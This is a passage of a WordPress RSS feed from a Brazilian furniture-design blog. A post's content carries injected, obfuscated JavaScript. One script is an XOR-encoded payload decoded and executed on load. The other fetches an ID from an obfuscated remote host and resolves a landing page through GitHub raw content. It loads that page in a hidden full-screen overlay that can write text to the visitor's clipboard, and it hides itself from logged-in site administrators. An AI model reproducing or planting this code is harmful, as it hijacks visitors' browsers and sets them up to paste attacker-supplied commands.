54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,60,61,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,52,62,63,34,7,122,38,38,122,33,39,97,87,80,122,122,122,122,122,122,44,59,40,122,56,47,51,54,46,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,57,60,61,116,46,63,55,42,54,59,46,63,122,38,38,122,120,120,118,122,51,62,115,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,56,47,51,54,46,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,57,60,61,116,47,41,63,28,63,46,57,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,56,47,51,54,46,15,40,54,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,56,47,51,54,46,15,40,54,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,59,45,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,54,59,52,62,51,52,61,15,40,54,122,103,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,54,59,52,62,51,52,61,15,40,54,115,122,40,63,46,47,40,52,122,54,59,52,62,51,52,61,15,40,54,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,106,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,122,33,87,80,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,34,51,41,46,51,52,61,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,122,122,122,122,51,60,122,114,63,34,51,41,46,51,52,61,115,122,33,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,33,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,97,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,51,60,40,59,55,63,120,115,97,87,80,122,122,122,122,44,59,40,122,57,54,53,41,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,40,63,44,63,59,54,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,46,51,55,63,53,47,46,19,62,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,40,63,44,63,59,54,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,122,38,38,122,40,63,44,63,59,54,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,40,63,44,63,59,54,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,44,51,41,51,56,51,54,51,46,35,122,103,122,120,44,51,41,51,56,54,63,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,107,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,42,53,51,52,46,63,40,31,44,63,52,46,41,122,103,122,120,59,47,46,53,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,40,63,55,53,44,63,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,115,97,87,80,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,122,51,60,40,59,55,63,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,62,63,41,46,40,53,35,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,57,54,53,41,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,62,63,41,46,40,53,35,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,40,63,44,63,59,54,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,51,62,122,103,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,27,46,46,40,118,122,120,107,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,118,122,120,46,40,47,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,54,53,59,62,51,52,61,120,118,122,120,63,59,61,63,40,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,54,54,53,45,120,118,122,120,57,54,51,42,56,53,59,40,62,119,45,40,51,46,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,40,57,122,103,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,120,44,120,118,122,23,59,46,50,116,40,59,52,62,53,55,114,115,116,46,53,9,46,40,51,52,61,114,105,108,115,116,41,54,51,57,63,114,104,115,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,57,41,41,14,63,34,46,122,103,122,1,87,80,122,122,122,122,122,122,120,42,53,41,51,46,51,53,52,96,60,51,34,63,62,122,123,51,55,42,53,40,46,59,52,46,120,118,87,80,122,122,122,122,122,122,120,46,53,42,96,106,120,118,87,80,122,122,122,122,122,122,120,54,63,60,46,96,106,120,118,87,80,122,122,122,122,122,122,120,45,51,62,46,50,96,107,106,106,44,45,120,118,87,80,122,122,122,122,122,122,120,50,63,51,61,50,46,96,107,106,106,44,50,120,118,87,80,122,122,122,122,122,122,120,56,53,40,62,63,40,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,32,119,51,52,62,63,34,96,104,107,110,109,110,98,105,108,110,109,120,118,87,80,122,122,122,122,122,122,120,55,59,40,61,51,52,96,106,120,118,87,80,122,122,122,122,122,122,120,42,59,62,62,51,52,61,96,106,120,118,87,80,122,122,122,122,122,122,120,53,44,63,40,60,54,53,45,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,44,51,41,51,56,51,54,51,46,35,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,53,42,59,57,51,46,35,96,106,120,118,87,80,122,122,122,122,122,122,120,42,53,51,52,46,63,40,119,63,44,63,52,46,41,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,56,59,57,49,61,40,53,47,52,62,96,46,40,59,52,41,42,59,40,63,52,46,120,87,80,122,122,122,122,7,116,48,53,51,52,114,120,97,120,115,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,54,53,59,62,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,123,40,63,61,51,41,46,40,35,116,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,63,40,40,53,40,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,46,51,55,63,53,47,46,19,62,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,118,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,47,52,114,115,122,33,87,80,122,122,122,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,97,87,80,122,122,122,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,97,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,27,10,19,5,19,30,5,15,8,22,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,51,62,122,103,122,114,51,62,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,60,51,52,59,54,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,60,51,52,59,54,15,40,54,115,97,87,80,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,44,59,40,122,60,51,52,59,54,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,59,54,21,40,51,61,51,52,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,60,51,52,59,54,15,40,54,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,103,122,40,47,52,114,115,97,87,80,39,115,114,115,97];return String.fromCharCode.apply(String,_0x5641.map(function(c){return c^0x5A;}));})();var __d=document;var __h=__d.head||__d.documentElement;var __sc=__d.createElement("script");__sc.type="text/javascript";__sc.text=__s;__h.appendChild(__sc);})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><p>O post <a href="https://marel.com.br/como-comecar-um-negocio-na-area-de-moveis-planejados-b/">Como Começar Um Negócio Na Área de Móveis Planejados?</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Entenda a relação dos móveis planejados com a neuroarquitetura</title>
		<link>https://marel.com.br/entenda-a-relacao-dos-moveis-planejados-com-a-neuroarquitetura/</link>
					<comments>https://marel.com.br/entenda-a-relacao-dos-moveis-planejados-com-a-neuroarquitetura/#comments</comments>
		
		<dc:creator><![CDATA[BLOG USER]]></dc:creator>
		<pubDate>Fri, 08 Oct 2021 01:52:39 +0000</pubDate>
				<category><![CDATA[Sem categoria]]></category>
		<guid isPermaLink="false">https://marel.com.br/?p=1321</guid>

